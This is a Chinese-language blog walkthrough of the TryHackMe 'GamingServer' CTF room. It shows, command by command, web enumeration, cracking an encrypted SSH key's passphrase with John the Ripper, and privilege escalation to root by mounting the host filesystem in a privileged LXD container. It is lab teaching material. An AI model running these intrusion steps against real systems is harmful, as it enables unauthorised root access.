> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe GamingServer writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-gamingserver-writeup-zh-tw/
- Published: 2025-10-17T07:56:44.000Z
- Updated: 2026-07-15T02:50:01.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: GamingServer
- **難度**: Easy
- **目標**: 獲取 User Flag 和 Root Flag
- **題目連結**: [https://tryhackme.com/room/gamingserver](https://tryhackme.com/room/gamingserver?ref=taiwanding.com)

## 偵察階段

### Nmap 掃描

```bash
nmap -Pn -sV -sC -p 22,80 10.201.41.104 -T4

```

**掃描結果：**

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

**關鍵發現：**

- HTTP 服務標題為 "House of danak"
- SSH 服務 OpenSSH 7.6p1
- Ubuntu 系統
- Apache 2.4.29

### Step 1: Web 枚舉 - 發現駭客宣言

訪問網頁，點擊連結

```bash
curl http://10.201.41.104/uploads

```

**網頁內容：** 發現了經典的《駭客宣言》(The Hacker Manifesto)：

```
                     The Hacker Manifesto
                              by
                        +++The Mentor+++
                    Written January 8, 1986

Another one got caught today, it's all over the papers...
[完整內容略]
I am a hacker, and this is my manifesto...

```

**回到首頁發現，關鍵線索 - HTML 註釋:**

```html
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->

```

✅ **獲得第一個線索：用戶名 = "john"**

### Step 2: 目錄枚舉 - 發現關鍵文件

使用 Gobuster 掃描

```bash
gobuster dir -u http://10.201.41.104/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
```

**發現的文件：**

1. **加密的 SSH 私鑰**

下載關鍵文件

```bash
# 下載 SSH 私鑰
wget http://10.201.41.104/[path]/id_rsa

```

### Step 3: SSH 私鑰分析

檢查私鑰

```bash
cat id_rsa

```

**私鑰內容：**

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547

T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
...
-----END RSA PRIVATE KEY-----

```

**關鍵信息：**

```
Proc-Type: 4,ENCRYPTED          # 私鑰已加密
DEK-Info: AES-128-CBC           # 使用 AES-128-CBC 加密

```

✅ **這是一個被密碼保護的 RSA 私鑰！**

### Step 4: 破解 SSH 私鑰密碼

使用 ssh2john 轉換格式

```bash
# 將 SSH 私鑰轉換為 John 可識別的格式
ssh2john id_rsa > id_rsa.hash

```

使用 John the Ripper 破解  
**方法 1：使用 rockyou.txt（推薦）**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

```

**破解過程：**

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (id_rsa)
1g 0:00:00:00 DONE (2025-10-17 15:16) 25.00g/s 14400p/s 14400c/s 14400C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

✅ **SSH 私鑰密碼：letmein**

**方法 2：使用自定義字典（備選），這個自定義字典可以在/uploads**路徑找到

```bash
john --wordlist=dict.lst.txt id_rsa.hash

```

### Step 5: SSH 登入獲取 User Flag

組合憑證信息

已知信息：

- **用戶名**：john（從 HTML 註釋獲得）
- **SSH 私鑰**：已解密
- **私鑰密碼**：letmein

### SSH 登入

```bash
ssh -i id_rsa_decrypted john@10.201.41.104

```

**成功登入！**

### User Flag

```bash
john@exploitable:~$ ls
user.txt

john@exploitable:~$ cat user.txt
Redacted

```

### Step 7: 信息收集 - 發現提權路徑

檢查用戶權限

```bash
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

```

✅ **關鍵發現：用戶在 `lxd` 組中！**

檢查 sudo 權限

```bash
john@exploitable:~$ sudo -l
[sudo] password for john:
# 嘗試密碼：letmein, john, 等都失敗

```

**sudo 權限無法使用，但 LXD 組成員身份提供了另一條提權路徑！**

### Step 8: LXD 權限提升

LXD 提權原理  
**什麼是 LXD？**

- LXD 是 Linux 容器管理工具（類似 Docker）
- `lxd` 組的成員可以創建和管理容器
- 關鍵：可以創建**特權容器**並掛載主機文件系統

**攻擊流程：**

```
1. 創建特權容器 (security.privileged=true)
2. 掛載主機根目錄到容器內
3. 在容器內以 root 身份訪問主機文件
4. 讀取 /root/root.txt

```

### 檢查 LXD 狀態

```bash
john@exploitable:~$ lxc list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+

john@exploitable:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+

```

**發現：** 沒有現成的映像，需要導入一個。

### Step 9: 準備 Alpine Linux 映像

在 Kali 機器上構建映像，這一步是在本機喔!不是靶機上

```bash
# 1. Clone 構建工具
cd ~
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder

# 2. 構建 Alpine Linux 映像
sudo ./build-alpine

# 3. 查看生成的文件
ls -lh *.tar.gz

```

**輸出：**

```
-rw-r--r-- 1 IronStrongHacker IronStrongHacker 3.2M Oct 17 15:32 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root             root             3.9M Oct 17 15:33 alpine-v3.22-x86_64-20251017_1533.tar.gz

```

✅ **選擇較小的版本：alpine-v3.13-x86\_64-20210218\_0139.tar.gz**

### Step 10: 傳輸映像到目標機器

在 Windows PowerShell 中操作

```powershell
# 1. 將文件複製到 Windows 目錄
mkdir C:\temp
copy \\wsl$\Ubuntu\home\IronStrongHacker\lxd-alpine-builder\alpine-v3.13-x86_64-20210218_0139.tar.gz C:\temp\

# 2. 進入目錄
cd C:\temp

# 3. 確認文件存在
dir *.tar.gz

# 4. 啟動 Python HTTP 服務器
python -m http.server 8000
# 保持此窗口開啟！

```

### 在目標機器上下載

```bash
# 切換到臨時目錄
cd /tmp

# 下載映像（替換成你的 IP：10.13.90.144）
wget http://10.13.90.144:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

# 驗證下載
ls -lh alpine*.tar.gz

```

### Step 11: LXD 提權執行

導入映像

```bash
# 導入 Alpine 映像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine

# 確認導入成功
lxc image list

```

**輸出：**

```
+--------+-------------+--------+-------------+--------+--------+-------------+
| ALIAS  | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH   | SIZE   | UPLOAD DATE |
+--------+-------------+--------+-------------+--------+--------+-------------+
| alpine | [hash]      | no     |             | x86_64 | 3.20MB | Oct 17 2025 |
+--------+-------------+--------+-------------+--------+--------+-------------+

```

創建並配置特權容器

```bash
# 1. 初始化容器（特權模式）
lxc init alpine privesc -c security.privileged=true

# 2. 掛載主機根目錄到容器的 /mnt/root
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# 3. 啟動容器
lxc start privesc

# 4. 進入容器
lxc exec privesc /bin/sh

```

驗證提權成功

```bash
~ # whoami
root

~ # id
uid=0(root) gid=0(root)

```

✅ **成功獲得 root 權限！**

### Step 12: 獲取 Root Flag

理解文件系統結構

**重要概念：**

- 當前在**容器內部**
- 容器的 `/root` \= 容器自己的根目錄（空的）
- 主機文件系統掛載在 `/mnt/root`

錯誤示範（新手常犯）

```bash
~ # ls /root
# 空的！

~ # cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory

```

正確路徑

```bash
# 切換到主機文件系統
~ # cd /mnt/root/

# 查看主機根目錄
/mnt/root # ls
bin    dev   initrd.img  lib64       mnt   root  srv  usr
boot   etc   lib         lost+found  opt   run   sys  var
cdrom  home  ...

# 進入主機的 root 家目錄
/mnt/root # cd root/

# 列出文件
/mnt/root/root # ls
root.txt

```

Root Flag

```bash
/mnt/root/root # cat root.txt
Redacted

```

## 技術要點總結

### 1\. SSH 私鑰破解

**工具鏈：**

```bash
ssh2john       # 格式轉換
john           # 密碼破解
openssl rsa    # 解密私鑰

```

**命令流程：**

```bash
# 轉換
ssh2john id_rsa > id_rsa.hash

# 破解
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

# 解密
openssl rsa -in id_rsa -out id_rsa_decrypted

```

**關鍵點：**

- 識別加密標誌：`Proc-Type: 4,ENCRYPTED`
- 選擇合適的字典（rockyou.txt 成功率高）
- 解密後必須設置 600 權限

### 2\. LXD 權限提升

**前提條件：**

- 用戶在 `lxd` 組中
- 系統安裝了 LXD/LXC

**檢查方法：**

```bash
id                    # 查看組成員
lxc --version         # 檢查 LXD 版本

```

**安全參數解析：**

```
security.privileged=true    # 以特權模式運行容器
source=/                    # 主機根目錄
path=/mnt/root              # 容器內掛載點
recursive=true              # 遞歸掛載所有子目錄

```

### 3\. 信息收集技巧

**HTML 源代碼分析：**

```bash
# 查看註釋
curl http://target/ | grep -i "<!--"

# 查找可疑字串
curl http://target/ | grep -iE "user|admin|password|todo|fixme"

```

**關鍵信息來源：**

- HTML 註釋（`<!-- -->`）
- JavaScript 代碼
- 錯誤訊息
- robots.txt
- .git、.svn 等版本控制目錄